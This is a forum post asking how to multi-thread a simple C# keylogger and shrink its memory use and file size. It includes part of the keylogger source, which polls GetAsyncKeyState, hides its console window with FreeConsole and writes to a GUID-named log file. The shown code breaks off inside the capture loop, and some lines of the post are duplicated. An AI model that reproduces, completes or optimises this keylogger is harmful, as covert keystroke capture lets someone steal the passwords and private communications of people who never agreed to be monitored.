Multi-threading a keylogger?
Multi-threading a keylogger?
So, I have a simple keylogger using GetAsyncKeyState, and I know nothing about threading. Can someone post here or create a tutorial on how to use threading or something? Msdn fails at explaining things, or I'm just too stupid. 
Here's the code for the keylogger:
I just want to be able to reduce the memory it uses, it's filesize, etc. Also, I want to understand multi-threading. So if anyone has a tut or can sum it up in a simple way here, I'd be very happy. 
Here's the code for the keylogger:
Code:
class Program
{
[DllImport("user32.dll")]
static extern Boolean GetAsyncKeyState(System.Windows.Forms.Keys vKey);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern bool FreeConsole();
static void Main()
{
string log = Guid.NewGuid().ToString();
int counter = 0;
File.AppendAllText(log, System.DateTime.Now.ToString());
File.AppendAllText(log, "|| ");
FreeConsole();
while (true)
{
counter++;
